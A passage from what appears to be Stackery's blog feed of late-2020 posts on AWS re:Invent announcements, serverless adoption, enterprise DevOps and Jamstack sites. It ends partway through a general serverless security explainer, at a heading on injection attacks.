First, AWS reinvented compute, but we still have three choices. - VM instances with additional flavors but you still own management of them - Containers infrastructure can be fully-managed for you or you can now run AWS’s platform in your datacenter - Serverless (aka managed services) got a whole lot of fun attention
 
Andy discussed the development and deployment challenges that are exasperated by moving to smaller units of compute, and naturally answered the challenges with a new service: AWS Proton.
You can read more about Proton in Chase’s modern architecture feed but you can think of it as AWS’s take on Stackery’s end-to-end CI/CD workflow. It describes the infrastructure and application needs, pushes changes, and observes the results of testing as work is promoted through environments. It’s great to see AWS finally act on the missing environment abstraction for deploying changes through their infrastructure.
2021 holds a lot of promise, and I don't just mean a vaccine, AWS also announced the launch of ECS and EKS Anywhere. It’s not possible to overstate how important this release is for enterprises who want to consume many AWS services but can’t ship everything outside of their premise. API consistency means workflow consistency so you can expect more teams to adopt ECS or EKS as a container platform that just works, and ship workloads to exactly where they’re needed: datacenter or cloud.
You can certainly expect Stackery to support both as we go hands-on in 2021.
Oh BTW, Lambda billing is now at 1ms invocation measurements instead of 100ms! We see a lot of customer workloads that involve many, tiny functions. They’re going to save a lot of cash for those frequently invoked functions.
 Container Image Support is such a big deal we wrote a[ whole post on it](/content/blog/launch-aws-container-images/index.html) and support the functionality on day-zero. Just so that we’re clear, this isn’t the ability to run any container as a function. It’s about the packaging. If you’ve invested more in container image release engineering than functions (and so many enterprises have), you can basically fold that workflow right into tools like Stackery to manage the filesystem for your functions just like your container services. It’s also a great way to run larger functions, up to 10GB with this system.
 
I’m also very excited about Aurora Serverless v2. With Stackery, you can literally drag a database onto the Design Canvas, connect it to compute, connect it to Secrets Manager, and deploy a fully-functional MySQL or Postgres cluster. It also auto-scales and just works, complete with credential management for both the root database user and IAM roles necessary for compute services to interact. I’m sure we’ll have more to say on v2 once we learn more about the big promises made here on scale and cost.
The keynote concluded with a cornucopia of new storage options on top of what’s already an intense amount of disk, plus a story about supersonic airliners coming back just in time for the world to binge-HARD on air travel. Caroll has more on where the Stackery team will be traveling late next year when it’s safe to do so.
P.S. AWS also announced a new ML-based service whose name you should be embarrassed to say out loud. It'll probably automate some handy stuff though so we'll take a look and never speak its name. 
Okay! That’s one keynote down, three to go! See you soon.
<![CDATA[What does Serverless mean for the future of DevOps]]>https://www.stackery.io/blog/guide-serverless-devopshttps://www.stackery.io/blog/guide-serverless-devops\*\*Watch a video overview**
I spent the last ten years in a Portland-based automation company known for its configuration management software. It served as the beating heart of enterprise data centers for much of the Fortune 1000, enabling operators to orchestrate the chaos of globally-scaled infrastructure that’s constantly changing and scaling.
Software like Puppet is necessary if businesses want the agility they need to compete, with the uptime and reliability customers demand, while allowing teams to focus on the work in front of them. This alignment of goals, teams, and processes - reinforced by tooling - is fundamental to DevOps.
That’s why, after working to empower teams automate the drudgery of changing and maintaining their VM-based applications, I’m excited about serverless.
On-demand managed services, like those available from AWS, give every team access to affordable, enterprise-grade architectures that require very little time or money to bootstrap and just as little work to keep running. You pay specialists at AWS to design, maintain, and operate key infrastructure services that aren’t part of your core business, and in exchange you can dedicate your focus to the work that truly matters.
I expect we'll see a lot about AWS Serverless at re:Invent for 3 key reasons.
- Adoption of AWS Serverless has reached over half of AWS users - They're facing fierce user-focused competition from the Edge - AWS has been steadily closing key gaps in offering enterprise-grade managed services
 Photo by Yoann Boyer on Unsplash
## Adopted by the Majority
Leading application performance monitoring providers DataDog and New Relic [agree](https://newrelic.com/resources/ebooks/serverless-benchmark-report-aws-lambda-2020), serverless adoption in the enterprise has reached critical mass and continues to grow fast. DataDog's The [State of Serverless](https://www.datadoghq.com/state-of-serverless) boldly opens with the statement: AWS Lambda has already been adopted by nearly half of companies with infrastructure in AWS.
Serverless is more than just functions, of course. In fact, this year Stackery is seeing 200% growth in container usage alongside functions. With AWS Fargate providing serverless options for both container services and kubernetes pods, users are proving there is little to the hype around containers vs. functions. Serverless is about providing great on-demand for the need your business has, be that short-lived computation, long-running services, or complex orchestration of services.
Beyond compute, AWS provides a plethora of serverless options, from Aurora for MySQL and PostgreSQL, EFS for persistent storage, Cognito for auth, and much more.
## Living on the Edge
We wrote a bit on the JAMstack, a web architecture that emphasizes delivery of (mostly) static assets to content delivery networks that are located in cities closest to users, aka the Edge. Combined with mature CI/CD, DevOps team culture, and adoption of back-end serverless infrastructure, modern web applications can be built on a rock-solid foundation with a fast and reliable user experience.
More than AWS have taken notice of this trend, with both Cloudflare and Netlify expanding their enterprise capabilities on top of their Edge delivery networks.
Netlify added [support for self-hosted git](https://www.netlify.com/blog/2020/07/21/unlock-jamstack-for-enterprise-web-apps-with-self-hosted-git-repos/) and tweaked pricing to better suit teams in large organizations. Their recent JAMstack conference [emphasized new Background Functions](https://www.netlify.com/blog/2020/10/29/announcing-background-functions/) which, while basic relative to the AWS serverless portfolio, provide a means for teams to add rich interactivity to their JAMstack web apps.
Cloudflare has approached this space from the CDN angle and they are rapidly adding managed services for a variety of enterprise use cases. Their take on functions, Cloudflare Workers, took a big step forward this year with [Workers Unbound](https://blog.cloudflare.com/introducing-workers-unbound/) which they emphasize as [75% cheaper than AWS](https://techcrunch.com/2020/07/27/cloudflare-launches-workers-unbound-the-next-evolution-of-its-serverless-platform/) Lambda and more performant to boot.
These are just two major players who understand that modern applications will live on the Edge, and I expect AWS to reply to their successes this year with an emphasis on their serverless capabilities at the Edge of their dominant world-spanning network.
## Crossing the Enterprise Chasm
It is not like AWS has been resting on its serverless laurels this year. We tracked a variety of critical improvements to managed services that meet the high expectations of enterprise teams.
Reliable, scalable, and cheap persistent storage is the backbone of any application so you might be surprised to learn that only this year did AWS address this need. Amazon Elastic File System, an elastic NFS-powered file system, is now [integrated into Fargate ECS](https://aws.amazon.com/blogs/aws/amazon-ecs-supports-efs/) for containers, [along with Fargate EKS](https://aws.amazon.com/blogs/aws/new-aws-fargate-for-amazon-eks-now-supports-amazon-efs/) for Kubernetes, and of course you can now [mount persistent storage within your AWS Lambda](https://aws.amazon.com/blogs/aws/new-a-shared-file-system-for-your-lambda-functions/) functions.
With tools like Stackery, AWS SAM, and CloudFormation, it is trivial to design an architecture that includes persistent storage, and deploy the whole thing into any environment without the management overhead of a single server.
While storage may be the most fundamental gap closed this year, it is far from the only major improvement. AWS has been busy!
- CloudFront distributions used to be embarrassingly slow to deploy and update. [Not anymore](https://aws.amazon.com/blogs/networking-and-content-delivery/slashing-cloudfront-change-propagation-times-in-2020-recent-changes-and-looking-forward/)! - Monitoring & observability became way easier to integrate and manage with [AWS Lambda Extensions](https://aws.amazon.com/blogs/compute/introducing-aws-lambda-extensions-in-preview/). - Architectural best practices and preventative compliance have become attainable [with the open-source CFN-guard](https://aws.amazon.com/blogs/mt/write-preventive-compliance-rules-for-aws-cloudformation-templates-the-cfn-guard-way/) and the [Serverless Lens](https://aws.amazon.com/blogs/aws/new-serverless-lens-in-aws-well-architected-tool/) for the AWS Well-Architected Tool. - The [AWS Serverless Application Model CLI went GA](https://aws.amazon.com/blogs/compute/the-aws-serverless-application-model-cli-is-now-generally-available/), cementing SAM as the most reliable and breaking-change-avoidant way to manage serverless application architectures on top of CloudFormation.
**Wrap up**
 I’m looking forward to the infrastructure keynote and the DevOps sessions track, for more news on enterprise functionality being added to AWS’s portfolio of managed services and I’m sure there will be a surprise announcement or two from the virtual stage.
- Visit our virtual booth, which projects right onto your desk for walk-free swag. <![CDATA[A re:Invent for Everyone]]>https://www.stackery.io/blog/first-reinvent-for-everyonehttps://www.stackery.io/blog/first-reinvent-for-everyone\*\*Watch a video overview**
Re:Invent this year is… a little different. Last year was a big one for me and for [Stackery](/content/site-root.html) (my first year as an AWS Serverless Hero!), but this year I’m looking forward re:Invent to more than any other, and here’s why.
 *re:Invent 2019, back when we used to see each other in person.*
# The first re:Invent that’s truly for everyone
With scholarships and honoraria, it can be possible to get help getting a ticket to re:Invent, but that does not cover airfare, lodging, time off work, and the myriad other costs of attending an in-person conference. This year everyone with a stable web connection can attend re:Invent, and most talks will be available to stream at any time throughout the conference. Exciting, right?
Like most people I struggle to learn much while sitting in a crowd with a laptop perched on my knees. So even though attendance in person is within reach for me, I still massively appreciate the new focus. I hope that the benefits of making it more accessible to others around the world online can carry forward into next year.
# A chance to recharge
2020 has been a slog for almost everyone. But I hope that re:Invent will give all of us a chance to recharge our batteries a bit. Connection with other people recharges me, and for me having the ability to connect online with so many around the world is reinvigorating.
Further, seeing other's work reminds me that despite being forced to stay home there are thousands of us building amazing things this year. It shows me the resilience of humans and the real power of digital platforms.
# Amazing success stories
In my niche within AWS of serverless cloud applications, it was a year of big changes.
Since 2017, serverless has been called "the next big thing" and 2020 is the year it arrived.
Here are some highlights:
- Rather than just lifting and shifting their services to AWS virtual machines (EC2), the [BBC adopted a whole new architecture](https://www.theregister.com/2020/11/04/bbc\_embraces\_aws\_serverless/) to make use of serverless, handling tens of thousands of requests per second to bring arts and information to the whole world. - While technology is enabling millions of us to keep working during the pandemic (and giving most of us access to endless episodes of the *Great British Bake-Off*), serverless is also seeing use in the fight to combat COVID-19. [Denis Bauer talked about some of these applications at a recent ServerlessDays](https://twitter.com/allPowerde/status/1287956661223567361?s=20). - We often associate serverless with a "Move Fast and Break Things" philosophy, but what about adoption by enterprises that *cannot* afford to take risks? [Liberty Mutual moved some mainframe tasks over to serverless jobs](https://www.techrepublic.com/article/how-liberty-mutual-is-transforming-its-it-using-serverless-computing/), and in the process reduced their annual costs for the job from $50,000 to $10 per year. When you lift your jaw off the floor, be sure to follow fellow serverless hero [Tom McLaughlin](https://twitter.com/tmclaughbos), who always has great stories about the ups and downs of serverless in practice. - Finally, I’m always amazed by the great stuff achieved by the [Lego Group by diving deep into cloud architectures](https://twitter.com/ServerlessdaysV/status/1321554089067511808). They're trailblazers in serverless but always manage to turn their experiences into useful lessons for us all. Check out a recent talk and look for more great stuff at re:Invent.
Hit me up [on Twitter](https://twitter.com/farrahc32/) and let me know what you are looking forward to this year, if you have your own serverless success story to share, or if you want to learn more about how I got started in Serverless. I am always happy to help!<![CDATA[Architecting Your AWS re:Invent Experience]]>https://www.stackery.io/blog/architecting-your-reinvent-experiencehttps://www.stackery.io/blog/architecting-your-reinvent-experience\## How to consume re:Invent content to build better apps today.
**Watch a video overview**
AWS has turned running their annual re:Invent conference into a science. The 2020 virtual version will certainly be different from the Las Vegas versions, but they will still be sharing the latest and greatest new functionality for you to build better apps.However, AWS ships so much new stuff every year (and nothing seems to slow them down!) it can be hard to figure out how to consume and synthesize all the information in order scale your modern applications. Never fear! We at Stackery have perfected the art of drinking from the re:Invent firehose and are here to help you!
I'll be here recapping the biggest architectural news announced each week of re:Invent. I'm looking forward to sharing in the excitement of all the new AWS features. But before we get to re:Invent let's look at strategies for dealing with all the new information.
## Get ready
Last year AWS made 79 separate announcements during re:Invent. It is hard to keep up with the deluge of newness they release. Here's how you can stay sane while staying up-to-date:
- Expect announcements to focus on new services and features - Truly powerful architectural insights come from how services can be integrated - AWS uses re:Invent to teach people where modern cloud architectures are going
**Expect announcements to focus on new services and features**
Part of the AWS re:Invent science 👩🔬 is giving you the technical details about new features and services and then packaging it into compelling narratives. All the technical announcements are posted to their AWS ["What's New" blog](https://aws.amazon.com/new/). In fact, AWS' marketing team is so good you'll usually see new announcements within a minute or so of their being announced in one of the keynotes!
Pro tip: You can subscribe your favorite RSS reader to the ["What's New" feed](https://aws.amazon.com/about-aws/whats-new/recent/feed/) year-round to stay on top of every morsel of new AWS functionality (just be prepared for an **average** of around 10 announcements every business day!).
All of these announcements will focus on what new things you can do with AWS, but presented primarily in a dry format that is easier to consume if you know everything about the announcement's context. For example, [this is the announcement](https://aws.amazon.com/about-aws/whats-new/2019/12/aws-lambda-announces-provisioned-concurrency/) from last year's re:Invent for Lambda Provisioned Concurrency, but good luck figuring out what it means if you're not already familiar with AWS Lambda itself.
These announcements are the heart of the re:Invent conference content. **This is where architects should focus their time on to learn the latest capabilities of the AWS cloud. But, if you're not already an [AWS Hero](https://aws.amazon.com/developer/community/heroes/) you may need more than these dry, technical announcements. This is where the AWS keynotes are great.** The provide stories from customers showing how the new features can be used. I personally consume the "What's New" feed and the keynotes to get my fix of all the new announcements.
## **Pay attention to how services can be integrated**
Once we have a strategy for how we consume the all the newness, what do we do with it? How can we use it to our advantage?
While the surface-level takeaways for new services and features are important, modern applications are comprised of many managed services integrated together. Even the simplest serverless API needs an API Gateway, one or more Lambda Functions, and a DynamoDB Table or S3 Bucket.
To get the most out of AWS you need to focus on how you can combine their managed service offerings together to achieve your product needs. As an example, you can use API Gateway to route requests between Lambda Functions and ECS Fargate tasks. But Lambda Functions are integrated by directly providing the Function's ARN to API Gateway for each route, while for ECS Fargate you need to use Cloud Map to route requests to a health instance in a cluster.
Each of these integrations should also be evaluated not only for their capabilities but also for their security implications. How will you architect your application and all the integrations between resources to ensure each resource can only access the appropriate functionality of another resource? Watch for announcements like last year's [S3 Access Points](https://aws.amazon.com/blogs/aws/easily-manage-shared-data-sets-with-amazon-s3-access-points/) release that signal better ways to secure access between services.
**re:Invent teaches us where modern cloud architectures are heading**
Here's the most important part! Now that we've been assimilating all the pieces of the puzzle and listening to customer stories we can start to see the future of cloud application architectures. Think back to the launch of AWS Lambda back at re:Invent 2014. There were very few integrations at the time (API Gateway didn't exist until 2015!), but you could start to see the outlines of how serverless would enable new, better ways of building scalable web applications.
One way you can get insights into the future is watching Werner Vogels' keynote. As Amazon's CTO he is a technologist at heart who also knows how to build highly scalable and available cloud applications. He hand picks the best new features and stories to highlight in his keynote. **If you only watch one session at re:Invent, then watch Werner's keynote.** He does a great job of contextualizing all the best new architectural capabilities AWS has to offer.
**Wrap up**
re:Invent is chock full of amazing news for application architects. I've shared my secrets for consuming all the announcements, but I'm also looking forward to helping you understand everything as the conference progresses! Please subscribe to my feed of re:Invent news for architects where I will be breaking down all the latest and greatest announcements each week. I can't wait!<![CDATA[Why we built a Jamstack site]]>https://www.stackery.io/blog/jamstack-examplehttps://www.stackery.io/blog/jamstack-exampleLast month, inspired by [JamstackConf](https://jamstackconf.com/) I built Jamstackery.website. This mini-site runs on AWS, and is managed by our platform.
Our hope is that this mini-site demonstrates the promise of an architecture that blends containers with functions, and all the supporting certificates, permissions, and resources necessary to provide a world-class infrastructure.
The content management system is a headless [Ghost CMS](https://ghost.org/), running on an Aurora Serverless MySQL cluster, ECS Fargate containers, and more which you can interact with in this Stackery designer widget.
Gatsby starter with GhostGhost is such a great CMS experience for blogs but we took the experience even further. You're interacting with a Gatsby-built front-end which runs in AWS CloudFront. It's wicked fast and just as cheap. When you're not publishing, the expensive infrastructure powering the CMS can be paused.
This architecture blends the best of both worlds- long-lived services that provide rich experiences for content teams and fast, reliable edge-driven applications for the application user.
The entire architecture is 💯 serverless and can be built around a continuous delivery pipeline to enable published Ghost posts to automatically build out through Gatsby to the CDN.
Why? Flexibility and enterprise-grade infrastructure. AWS managed services are world-class and there are solid options for every imaginable use case. If your needs are more custom than the off-the-shelf SaaS or you need to own the data and infrastructure your application runs on, but you don't want to wield a broad server footprint, AWS serverless is worth a look.
Remember, serverless isn't only functions. It's an approach to consuming managed services for needs that aren't special to your business, helping your developers, operations staff, and InfoSec professionals focus on the core application while relying on other specialists to provide the application infrastructure you need.
You can try deploying your own Ghost & Gatsby Jamstack via [this tutorial in Stackery's documentation](https://docs.stackery.io/docs/tutorials/jamstack-ghostgatsby). <![CDATA[Serverless for the Enterprise]]>https://www.stackery.io/blog/serverless-in-the-enterprise-introhttps://www.stackery.io/blog/serverless-in-the-enterprise-intro\## re:Invent News Analysis: Enterprise Serverless
**Watch a video overview**
AWS puts on one of the largest tech conferences on the planet—and they've mastered it. Even though 2020’s virtual re:Invent will be *very* different from the venue at the Venetian, I’m certain AWS will put on another great show. I’m also certain they will give us all a massive onslaught of new products and capabilities, customer success stories, partner updates, and more.
As exciting as the news coming out of re:Invent is, it can also be daunting. There’s a lot. A real lot. But there’s no need to worry—the team at Stackery has perfected helping people quickly learn about and take advantage of the latest from AWS!
During the weeks of re:Invent, Stackery will be highlighting the most salient serverless news from AWS. Chase will cover architectural news announced each week, Farrah will showcase AWS users doing powerful things with serverless, Ryan will cull news around the intersection of DevOps & Serverless, and I will summarize announcements around serverless in the Enterprise.
Specifically, I’ll dig into these topics that are top of mind for our enterprise customers.
- Navigating the tension between developer speed and enterprise governance—think security, consistency, etc. - How current SDLC practices apply to serverless—like infrastructure-as-code, CI/CD, policy enforcement, etc. - The modern, hybrid app—how to get the best of the cloud by combining serverless, containers, legacy tech, and more.
### Navigating the tension between developer speed and enterprise governance—think security, consistency, etc.
Too many engineering teams are stymied by Central IT and DevOps teams. It’s not because these centralized organizations want to block innovation, but often these centralized organizations impede pervasive adoption of powerful AWS managed services because they are entrenched in established policies and processes. They fear that autonomous and rapid development on the cloud compromises consistency, security, and governance.
The result is that development teams are held back by central IT and operations teams that lack solutions for providing safe, secure AWS development autonomy. I expect to see more from AWS to help bridge this divide with more guidance on Well-Architected design patterns and security best practices.
### How current DevOps & SDLC practices apply to serverless—like infrastructure as code, CI/CD, policy enforcement, etc.
The recent DevOps movement has taught us that there are key SDLC practices—for development and ops—that are important to all high-performing teams: infrastructure-as-code (IaC), CI/CD, and security shifted to the left are just a few. In fact, I believe that IaC is the way all apps will be shipped in the future since it’s the most important foundational practice that enables so many other modern DevOps and SDLC best practices.
With serverless, the practice of IaC is required (not simply recommended). This unlocks all sorts of quality, security, automation, and consistency benefits. I look forward to seeing what AWS has in mind to help further these modern practices.
### The modern, hybrid app—how to get the best of the cloud by combining serverless, containers, legacy tech, and more.
I see more-and-more companies use modern application techniques to yield the speed and scale of cloud development, along with options for securely integrating with legacy systems. In most cases, these organizations aim to provide a cutting-edge experience to their customers, abstracting them from the old, but necessary legacy systems at work under-the-covers.
The result is that more-and-more organizations are building modern applications that combine managed service offerings (e.g., functions, API gateways, queues, tables, object stores, etc.), SaaS offerings, and customer-owned new and legacy components. AWS is the leader in supporting these modern, hybrid applications—so I will be keeping an eye out for all news related to how they will help us all move further down this powerful path.
### Wrap Up
This is an exciting time of year to be part of the AWS ecosystem. I love the partnership that spans customers, ISVs like Stackery, AWS, developer advocates, consulting partners, and more—and the camaraderie of the ecosystem really shines at re:Invent. I expect the same this year. I look forward to connecting with so many of you. I look forward to the news coming out of the event. And I look forward to sharing Stackery’s point-of-view to help make sense of it all.
## Follow Stackery on Twitter to see all of the Stackery serverless news digests, and more.<![CDATA[Going Serverless: Best Practices]]>https://www.stackery.io/blog/serverless-adoption-best-practiceshttps://www.stackery.io/blog/serverless-adoption-best-practices\# 4 Things You Need to Know About Serverless Adoption
Making the move to serverless architecture? By [accelerating app development time](https://media.graphcms.com/o6GgpS6VRuCSGkrSL99M), serverless isn’t just a boon for business, it’s also a win for engineering teams.
Gartner explains: “Serverless architectures enable developers to focus on what they should be doing — writing code and optimizing application design — making way for business agility and digital experimentation.”
## Making smart use of software delivery resources with serverless
Serverless architectures free up time. Instead of getting bogged down in infrastructure management, you and your team can focus on building well-architected apps that deliver ongoing value to your customers. Serverless saves money, too — you only pay for the cloud resources you use. For example, global insurer Liberty Mutual slashed app maintenance costs by 99.98%, from $50,000 to $10 per year — freeing up dollars while giving engineers time back to focus on business-impacting work.
With serverless driving efficiency and productivity, it’s no surprise adoption is taking off. In fact, according to the 2020 Coding Sans’ *State of Serverless report*, 75% of respondents use serverless today. And, nearly 50% of those who haven’t yet gone serverless are planning to do so in the next 12 months. 
Source: *State of Serverless report,* Coding Sans, 2020
ALT TAG: 75% of orgs use serverless
## 4 best practices to make the transition to serverless stress-free
While serverless has its benefits, getting there requires a few key steps, including choosing providers, migrating operations, and revising workflow(s). Beyond those foundational pieces, you’ll also need to keep an active drumbeat around team adoption. Celebrate wins and talk through problems as a team. This collaborative culture helps attract and retain top talent, too.
As you lay out your serverless adoption roadmap, here are four best practices to help you tackle these steps — making your transition as productive and stress-free as possible:
1. Embrace autonomy for your coders, but don’t isolate them. 2. Embrace single-purpose functions, but avoid generic privileges. 3. Embrace speedy development, but avoid hasty rollouts. 4. Embrace third-party providers, but avoid unnecessary expenses.
Let’s explore these best practices in detail.
### Best practice #1: Embrace autonomy for your coders, but don’t isolate them
By collapsing the time from prototype to production, serverless adoption gives developers the power to move faster in the race to innovate. That means more features and fixes — and more dazzling products. It also creates greater autonomy for developers, eliminating dependencies and sign-offs found in more traditional development workflows. Instead of designing an app, sending it for architectural review, and then passing it off to operations for deployment, developers now own their code throughout the process.
### How to adapt coder roles and responsibilities to optimize serverless production
Here are some tips to keep in mind as you navigate these changes:
- Define all microservices and map the flow of data between them, so you can create specs to keep critical data safe if one of the services goes down. - Bring Ops in during planning and/or refactoring phases to jointly devise [identity and access management (IAM)](/content/blog/to-do-serverless-right-you-need-a-new-iam-approach/index.html) permissions and policies. - Promote hand-in-glove collaboration between front-end and back-end developers. - Reconvene the development team before launch and assign specific task forces during deployment. For example, you might delegate based on areas of expertise, such as function-as-a-service (FaaS), services, events, and infrastructure-as-code.
### Best practice #2: Embrace single-purpose functions, but avoid generic privileges
If AWS Lambda is the first thing that comes to mind when you think serverless, you’re not alone. According to Coding Sans’ *State of Serverless report*, AWS Lambda is the top technology in serverless toolboxes, with 87% of respondents using it today. Its popularity stems from one key serverless concept: function-as-a-service (FaaS). [Although just one capability in the hefty serverless stack](/content/blog/serverless-has-evolved/index.html), FaaS is a game-changer, redefining the way developers build apps.
### Functions play a central role in serverless app design
Using functions, developers can parse massive apps into easier-to-manage, discrete parts. By design, they support simplicity, so embrace it. Steer clear of large, complex functions. Instead, write each function to do just one thing. This will help your app perform well, no matter how high demand surges.
Single-purpose functions are also smart from a security perspective. Keeping your code as compact as possible reduces its cyberattack surface. Here are some other recommendations to bolster serverless security:
- Establish IAM for each function, restricting privileges to the minimal amount of access required. - Perform continuous scans on functions to check for vulnerabilities. - Schedule systematic reviews of functions — and revise as needed.
### Best practice #3: Embrace speedy development, but avoid hasty rollouts
Undoubtedly, rapid app development is the main reason why more and more engineering teams are adopting serverless. Case in point: IT consultancy [Ikon Integration shaved more than three weeks off development time](https://media.graphcms.com/o6GgpS6VRuCSGkrSL99M) with a serverless approach, supported by Stackery.
But, although the benefits are clear, exercising quality controls in a serverless architecture can be a bit tricky. It calls for a new approach.
Like containers, serverless architecture is spun upon immutable infrastructure, making it virtually impossible to stage or test before production. That means you have no choice but to test in production.
### Testing in production
The concept of testing in production might sound scary, potentially subjecting customers to frustrating user experiences or even security risks. But, if you keep these guiding principles in mind, you’ll sidestep possible pitfalls:
- Build observability into your code, which helps you answer the question, “Is this app behaving as expected?” By incorporating rich instrumentation into your shipped code, you can collect real-time data from the app and pinpoint the root of issues. - Stage rollouts of new features to keep tabs as you scale deployment. For example, consider deploying to 10% of your user base, then gradually increasing while monitoring for errors along the way. - Scan for vulnerabilities daily. With thousands of vulnerabilities being discovered every year, it’s important to [run continuous checks as part of the CI/CD pipeline](https://docs.stackery.io/docs/using-stackery/verification-pipeline/). - Use metrics that map to the business. Rather than zeroing in on app performance, set KPIs based on the business goals that led you to develop the app in the first place.
### Best practice #4: Embrace third-party providers, but avoid unnecessary expenses
Once you’re working serverless, you’ll have fewer logistics to worry about, for operations and coding. But, finding the right providers and APIs can be complicated — and costly if not given proper consideration upfront.
The bottom line: Spend time researching your options and go with the provider that best supports your business goals.
Here are some questions to ask when evaluating serverless (i.e., cloud computing) providers:
- Plan for today and tomorrow: Are they financially stable? Do they have proven success stories with deployments like the one you’re planning? What’s their roadmap for new features, integrations, and services? Do their values and vision align with yours? - Play it safe: Do they tell you where their data centers reside? Do they give you choice and control in terms of where your data is stored, processed, and managed? Are you clear how/when they use encryption for both data in transit and at rest? What happens if there’s a data loss or breach? How quickly will you be notified? Do their policies align with regulatory requirements? - Plot out the day-to-day: Do they have the range of managed services offerings you need? Can they back it up with technical know-how? Do their architectures and standards match your management preferences? What type of migration capabilities do they provide? How well do they complement your team’s skills? How will you manage environments (e.g., AWS accounts, Azure/GCP resource groups) and access controls for developers and operators (e.g., AWS SSO)?
Finally, routinely monitor third-party services and situations that may lead to vendor lock-in. Keeping an eye on this can help you avoid production hiccups while also curtailing unnecessary costs.
## Adopt serverless best practices to help developers do their best work
Whether you’re moving to serverless for HTTP REST APIs and web applications, batch jobs, business logic, or a different use case, you can ease the transition by incorporating the above best practices into your culture and workflows.
Have questions about how you can empower your team to do their best work? [Talk to us](https://hs.stackery.io/demo-request-base) about implementing these practices. We’re always here to help with your serverless adoption plans.<![CDATA[Introducing New Team Plan]]>https://www.stackery.io/blog/introducing-team-planhttps://www.stackery.io/blog/introducing-team-plan<![CDATA[Stackery is now a Amazon Linux 2 Ready Partner]]>https://www.stackery.io/blog/amazon-linux-2-announcementhttps://www.stackery.io/blog/amazon-linux-2-announcementAs part of our expanding relationship with Amazon, we are excited to announce that [Stackery](/content/site-root.html) is now recognized as an [Amazon Linux 2 Ready Partner](https://aws.amazon.com/blogs/apn/say-hello-to-123-new-aws-competency-service-delivery-service-ready-and-msp-partners-added-in-september/), part of the Amazon Web Services (AWS) Service Ready Program.
This designation recognizes that we are certified to run on Amazon Linux 2, the next generation of Amazon Linux, a Linux server operating system from AWS.
Our serverless platform for AWS helps teams design, development, and deliver modern applications to AWS customers. We make it easy to utilize Amazon Linux 2 based runtimes in Lambda. We also make it possible to utilize Amazon Linux 2 based images in AWS CodeBuild Projects used to package deployments.
Clint Johnson, Director of Technical Product Management at [Bridge Connector](https://bridgeconnector.co/) said, “Stackery’s integration with Amazon Linux 2 for CI gives us confidence that every build we produce will work as expected in both Lambda and Container use cases. We also rely on Stackery to manage our Amazon Linux 2 bastion servers, providing easy remote access via AWS Systems Manager Session Manager.”
### About Amazon Linux 2 Partners & AWS Service Ready Partners Achieving the Amazon Linux 2 Ready designation differentiates Stackery as an AWS Partner Network (APN) member with a product that is endorsed for Amazon Linux 2 and is fully supported for AWS customers. Amazon Linux 2 provides a secure, stable, and high-performance execution environment to develop and run cloud and enterprise applications. Amazon Linux 2 is provided at no additional charge. AWS Service Ready Partners have demonstrated success in building products integrated with AWS services, helping AWS customers evaluate and use their technology productively, at scale, and varying levels of complexity. <![CDATA[Creating Cognito User Pools with CloudFormation]]>https://www.stackery.io/blog/cognito-user-pools-cloudformationhttps://www.stackery.io/blog/cognito-user-pools-cloudformation<![CDATA[Putting the Stack in JAMstack]]>https://www.stackery.io/blog/jamstack-meets-serverlesshttps://www.stackery.io/blog/jamstack-meets-serverless<![CDATA[What You Need to Know About Serverless Security]]>https://www.stackery.io/blog/mastering-serverless-securityhttps://www.stackery.io/blog/mastering-serverless-security\# What You Need to Know About Serverless Security
Developers at Airbnb, BBC, Netflix, and Nike all share something in common: They’re using serverless computing to ship new products and features faster than ever. And they represent a growing trend.
As businesses compete to quickly deliver customer value, a whopping 60% of enterprises have already adopted, or are planning to use, serverless architectures. With serverless, engineering teams can stop wasting time and money on infrastructure management — and focus on writing and publishing code.
While the advantages of serverless are compelling for both individual developers and the business at large, there are a few things to consider in your journey. Unsurprisingly, security is at the top of the list. So, if you want to do it well, you can’t treat it as an afterthought.
As with any new computing system, adopting serverless means expanding your organization’s attack surface, creating new opportunities for cybercriminals to infiltrate the business. If you don’t have a solid approach to serverless security in place, you’re putting your business at serious risk.
Now, you may be wondering, “Isn’t it the serverless provider’s responsibility to keep my builds secure?” After all, part of the rationale for going serverless is to offload the headaches involved with cloud management. It’s true the serverless provider (e.g., AWS) owns the security of the cloud components (e.g., data center, network, servers). But, you own the security of your apps. Be sure to protect against app-level attacks, such as injection, broken authentication, and others (more on cyberattacks later in this post). Here’s a visual summary of who owns what.  Source: GitHub’s *Serverless Architectures Security Top 10 Guide* [ALT TEXT: Serverless app security is a shared responsibility]
The good news is: Your organization’s overall security posture can actually improve with the adoption of serverless. So, let’s step through the basics. This explainer will cover the fundamentals of serverless security, equipping you with the knowledge and best practices to make the most of your code.
## How to navigate security risks in event-driven architectures
Serverless computing helps developers create, refine, and deliver products at unprecedented speed and scale. A big reason why: Serverless is an event-driven architecture (versus the traditional client-server model), which decouples services and allows each to operate independently. Here’s an example of a simple event-driven architecture.
Source: Ajay Nair, Principal Product Manager (AWS Lambda) at Amazon Web Services (AWS), as shown in *The New Stack Guide to Serverless Technologies* [ALT TEXT: Example of an event-driven architecture]
### Why security is even more important in serverless
In event-driven architectures, events trigger [functions](https://docs.stackery.io/docs/api/nodes/Function/) — snippets of code designed to perform a single task. These functions then kick off other actions, such as changing/storing data, returning a query or SMS text, or calling another function. The distributed, asynchronous nature of event-driven architectures gives developers more flexibility in how they work while also ensuring greater resilience for the app. The downside is, every one of these bits of code is now a potential vector of attack. Making matters even more challenging are the myriad protocols and complicated message structures that are activated when the functions ingest data from the various event sources (e.g., API calls).
Running regular scans — daily or more frequently — is the best way to spot vulnerabilities before it’s too late.
### Make sure configurations meet your security needs
Another thing to watch out for is your serverless configuration settings. Your serverless provider’s out-of-the-box configurations may not align with your security standards. For example, is your cloud storage authentication set correctly? Configurations (and misconfigurations) have consequences, so don’t gloss over them. Take time to review them thoughtfully.
### Share the security burden with your team
Let’s be real: Security isn’t why most developers get into the coding game. You’re probably way more interested in the build and how serverless encourages autonomy in your work. This accessibility is great in terms of catalyzing innovation and team morale, but carries additional risk.
Given the user-friendly nature of serverless, more and more developers can publish by themselves, bypassing traditional controls of architectural review and deployment by operations. But, the truth is: Not all developers will be as concerned with security, so take a team approach and make security an ongoing part of your meetings and workflows.
## A look at the most common serverless security attacks
As mentioned earlier, serverless security is collaborative, not just among the engineering team, but with the serverless vendor providing the cloud infrastructure and resources. That alleviates some hassle. But, serverless architecture yields specific vulnerabilities for data. Moreover, serverless apps are generally susceptible to the same types of attacks as traditional apps.
Here’s an overview of the three most common serverless security attacks.
### Injection attacks
